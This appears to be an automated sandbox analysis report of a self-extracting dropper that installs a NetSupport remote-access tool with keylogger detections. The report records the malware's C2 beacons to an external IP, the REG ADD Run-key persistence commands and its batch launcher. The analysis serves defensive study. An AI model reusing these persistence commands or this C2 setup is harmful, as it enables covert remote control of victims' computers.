Dec 24, 2024 17:37:08.511360884 CET	49733	80	192.168.2.4	104.26.1.231
Dec 24, 2024 17:37:08.511388063 CET	49733	80	192.168.2.4	104.26.1.231

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 17:37:04.101300955 CET	63567	53	192.168.2.4	1.1.1.1
Dec 24, 2024 17:37:04.240010023 CET	53	63567	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 24, 2024 17:37:04.101300955 CET	192.168.2.4	1.1.1.1	0x33ab	Standard query (0)	geo.netsupportsoftware.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 24, 2024 17:37:04.240010023 CET	1.1.1.1	192.168.2.4	0x33ab	No error (0)	geo.netsupportsoftware.com	104.26.1.231	A (IP address)	IN (0x0001)	false
Dec 24, 2024 17:37:04.240010023 CET	1.1.1.1	192.168.2.4	0x33ab	No error (0)	geo.netsupportsoftware.com	104.26.0.231	A (IP address)	IN (0x0001)	false
Dec 24, 2024 17:37:04.240010023 CET	1.1.1.1	192.168.2.4	0x33ab	No error (0)	geo.netsupportsoftware.com	172.67.68.212	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

45.76.253.210connection: keep-alivecmd=pollinfo=1ack=1

geo.netsupportsoftware.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	45.76.253.210	443	7692	C:\Users\Public\Netstat\bild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 17:37:03.493812084 CET	218	OUT	POST http://45.76.253.210/fakeurl.htm HTTP/1.1User-Agent: NetSupport Manager/1.3Content-Type: application/x-www-form-urlencodedContent-Length: 22Host: 45.76.253.210Connection: Keep-AliveCMD=POLLINFO=1ACK=1 Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.26.1.231	80	7692	C:\Users\Public\Netstat\bild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 17:37:04.371897936 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 17:37:05.673389912 CET	1123	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 16:37:05 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f72039419fd425f-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lW7SVSTeGp6OMPZWlwr0EkdKqCkxO1QY2Xx3tzIwjQw9wj7tLvCi2nECvSnMfUIfdQit%2BIjKqFjaT%2BrObcB9Ya5UFQLQZ5UrOriDWvmNuxghySnFhBKpzWUwyWyGKBbDC7Go%2B1Qt6tiUe4aX"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1599&min_rtt=1599&rtt_var=799&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=214&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49732	104.26.1.231	80	7692	C:\Users\Public\Netstat\bild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 17:37:05.801115036 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 17:37:07.094100952 CET	1116	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 16:37:06 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f72039d1ee742a0-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IPdTQEZmPl0lBKR8KjJx9PbAboAcYEK7D0bbCWAIEhlIB2fELg1PzGJcs9DUzwzswUJFVFDlO6xK%2B1ubSbS%2BNIjFDfBktvslhfF6N0RWnlYC80AqdmHSVPfal9CXdU5wPQqn7KgQ63D2hQAs"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1786&min_rtt=1786&rtt_var=893&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=223&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49733	104.26.1.231	80	7692	C:\Users\Public\Netstat\bild.exe

Timestamp	Bytes transferred	Direction	Data
Dec 24, 2024 17:37:07.215909958 CET	118	OUT	GET /location/loca.asp HTTP/1.1 Host: geo.netsupportsoftware.com Connection: Keep-Alive Cache-Control: no-cache
Dec 24, 2024 17:37:08.511013031 CET	1121	IN	HTTP/1.1 404 Not Found Date: Tue, 24 Dec 2024 16:37:08 GMT Content-Type: text/html; charset=us-ascii Transfer-Encoding: chunked Connection: keep-alive CF-Ray: 8f7203a5e8bd2363-EWR CF-Cache-Status: DYNAMIC cf-apo-via: origin,host Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=aDN2muabuDV1YmuvJbYCyAYC9CLGNBg8bk%2BbqBXz3O2MIc1VvRFdsqJwbq0YkROI6bTaCOg9HNkgix49mKAnVimMvoH2wsMzl%2FQqSiPrfHtdCuW91y1E0zHliTGDWMPvBl1ijm4wLylWZyjI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare server-timing: cfL4;desc="?proto=TCP&rtt=1816&min_rtt=1816&rtt_var=908&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=118&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 31 33 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 34 2e 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 72 65 73 6f 75 72 63 65 20 69 73 20 6e 6f 74 20 66 6f 75 6e 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 13b<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Not Found</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Not Found</h2><hr><p>HTTP Error 404. The requested resource is not found.</p></BODY></HTML>0

Target ID:	0
Start time:	11:37:00
Start date:	24/12/2024
Path:	C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe"
Imagebase:	0xd70000
File size:	2'138'135 bytes
MD5 hash:	47CFCE938A71540A2039AEBD5ABE0783
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000000.00000003.1705248383.000000000516C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	11:37:01
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\Public\Netstat\netsup.bat" "
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	11:37:01
Start date:	24/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	11:37:01
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
Imagebase:	0xc80000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	11:37:01
Start date:	24/12/2024
Path:	C:\Windows\SysWOW64\reg.exe
Wow64 process (32bit):	true
Commandline:	REG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "Netstat" /t REG_SZ /F /D "C:\Users\Public\Netstat\bild.exe"
Imagebase:	0xc80000
File size:	59'392 bytes
MD5 hash:	CDD462E86EC0F20DE2A1D781928B1B0C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	11:37:01
Start date:	24/12/2024
Path:	C:\Users\Public\Netstat\bild.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\Public\Netstat\bild.exe
Imagebase:	0x4b0000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4163086848.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4163492259.000000006C610000.00000002.00000001.01000000.0000000E.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4161091973.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000002.4163046759.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000005.00000000.1712834967.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: C:\Users\Public\Netstat\bild.exe, Author: Joe Security
Antivirus matches:	Detection: 29%, ReversingLabs
Reputation:	moderate
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	11:37:12
Start date:	24/12/2024
Path:	C:\Users\Public\Netstat\bild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\bild.exe"
Imagebase:	0x4b0000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.1828037361.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000000.1825297800.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.1826623935.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 00000006.00000002.1827995443.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	11:37:20
Start date:	24/12/2024
Path:	C:\Users\Public\Netstat\bild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\bild.exe"
Imagebase:	0x4b0000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.1909557431.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.1908011994.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000000.1906094191.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000A.00000002.1909499532.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	11:37:29
Start date:	24/12/2024
Path:	C:\Users\Public\Netstat\bild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\Public\Netstat\bild.exe"
Imagebase:	0x4b0000
File size:	105'848 bytes
MD5 hash:	8D9709FF7D9C83BD376E01912C734F0A
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1989203129.00000000111E1000.00000004.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_Keylogger_Generic, Description: Yara detected Keylogger Generic, Source: 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1989168471.0000000011193000.00000002.00000001.01000000.0000000A.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000000.1987565229.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security Rule: JoeSecurity_NetSupport, Description: Yara detected NetSupport remote tool, Source: 0000000B.00000002.1988599605.00000000004B2000.00000002.00000001.01000000.00000009.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	10.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	1451
Total number of Limit Nodes:	27

Executed Functions

Function 00D8C131 Relevance: 40.4, APIs: 17, Strings: 6, Instructions: 199
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D7F353: GetModuleHandleW.KERNEL32 ref: 00D7F36B
Part of subcall function 00D7F353: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00D7F383
Part of subcall function 00D7F353: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00D7F3A6

Part of subcall function 00D88B8E: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00D88B96

Part of subcall function 00D89036: OleInitialize.OLE32(00000000), ref: 00D8904F
Part of subcall function 00D89036: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 00D89086
Part of subcall function 00D89036: SHGetMalloc.SHELL32(00DB20E8), ref: 00D89090

Part of subcall function 00D80722: GetCPInfo.KERNEL32(00000000,?), ref: 00D80733
Part of subcall function 00D80722: IsDBCSLeadByte.KERNEL32(00000000), ref: 00D80747

GetCommandLineW.KERNEL32 ref: 00D8C179
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 00D8C1A0
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 00D8C1B1
UnmapViewOfFile.KERNEL32(00000000), ref: 00D8C1EB

Part of subcall function 00D8BE0A: SetEnvironmentVariableW.KERNELBASE(sfxcmd,?), ref: 00D8BE20
Part of subcall function 00D8BE0A: SetEnvironmentVariableW.KERNEL32(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 00D8BE5C

CloseHandle.KERNEL32(00000000), ref: 00D8C1F4
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe,00000800), ref: 00D8C20F
SetEnvironmentVariableW.KERNEL32(sfxname,C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe), ref: 00D8C221
GetLocalTime.KERNEL32(?), ref: 00D8C228
_swprintf.LIBCMT ref: 00D8C267
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 00D8C279
GetModuleHandleW.KERNEL32(00000000), ref: 00D8C27C
LoadIconW.USER32(00000000,00000064), ref: 00D8C293
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_00019B4F,00000000), ref: 00D8C2E4
Sleep.KERNEL32(?), ref: 00D8C312
DeleteObject.GDI32 ref: 00D8C351
DeleteObject.GDI32(?), ref: 00D8C35D

Part of subcall function 00D8A8D4: CharUpperW.USER32(?,?,?,?,00001000), ref: 00D8A92C
Part of subcall function 00D8A8D4: CharUpperW.USER32(?,?,?,?,?,00001000), ref: 00D8A953

CloseHandle.KERNEL32 ref: 00D8C39C

Strings

%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 00D8C258
C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe, xrefs: 00D8C208, 00D8C20D, 00D8C21B, 00D8C2A3
sfxname, xrefs: 00D8C21C
winrarsfxmappingfile.tmp, xrefs: 00D8C194
sfxstime, xrefs: 00D8C274
STARTDLG, xrefs: 00D8C2D9

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCharCloseDeleteObjectProcUpperView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop\d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.exe$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp
API String ID: 985665271-2957653273
Opcode ID: 886238570596f60b798bcf7e8c73448256050ee1543839f050c01cfa97784f39
Instruction ID: 3ea48ac26b3f786570ada11e729109af20f31c2155451d03c0008eecdd8194db
Opcode Fuzzy Hash: 886238570596f60b798bcf7e8c73448256050ee1543839f050c01cfa97784f39
Instruction Fuzzy Hash: 7561C072904301EED321BB69EC4AF7B3BA8EB49750F044519F545D33A1EB799804CBB2

Function 00D88BD0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 92
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNELBASE(00000066,PNG,?,?,00D89AC8,00000066), ref: 00D88BE1
SizeofResource.KERNEL32(00000000,75295780,?,?,00D89AC8,00000066), ref: 00D88BF9
LoadResource.KERNEL32(00000000,?,?,00D89AC8,00000066), ref: 00D88C0C
LockResource.KERNEL32(00000000,?,?,00D89AC8,00000066), ref: 00D88C17
GlobalAlloc.KERNELBASE(00000002,00000000,00000000,?,?,?,00D89AC8,00000066), ref: 00D88C35
GlobalLock.KERNEL32(00000000), ref: 00D88C42
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00D88C62
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00D88C9D
GlobalUnlock.KERNEL32(00000000), ref: 00D88CB2
GlobalFree.KERNEL32(00000000), ref: 00D88CB9

Strings

PNG, xrefs: 00D88BD2

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711695017.0000000000DA0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DAA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DBF000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DC7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711723368.0000000000DCA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1711982855.0000000000DCC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_d1c701d984c5e04b42f3cb7165fc8907dd9f46e91e14d.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 4eaacbd400fe51b8390ed95a91ddeaa72a9f70428458ec92ba4275d9e073a8ff
Instruction ID: 0486ba79e6ea16a42866d5b6356f818a97dedb36f0d8fe9e8dc6d7d2feafe61f
Opcode Fuzzy Hash: 4eaacbd400fe51b8390ed95a91ddeaa72a9f70428458ec92ba4275d9e073a8ff
Instruction Fuzzy Hash: CA213071602702AFC721AF61DD4996BBFA9EF8A791B090928F845D2264DF31D8049BB1

Function 00D7A273 Relevance: 7.6, APIs: 5, Instructions: 108
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,00D7A16E,000000FF,?,?), ref: 00D7A2A8
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,00D7A16E,000000FF,?,?), ref: 00D7A2DE
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,00D7A16E,000000FF,?,?), ref: 00D7A2E6
FindNextFileW.KERNEL32(?,?,?,?,?,?,00D7A16E,000000FF,?,?), ref: 00D7A30E
GetLastError.KERNEL32(?,?,?,?,00D7A16E,000000FF,?,?), ref: 00D7A31A

Memory Dump Source

Source File: 00000000.00000002.1711643710.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1711612123.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
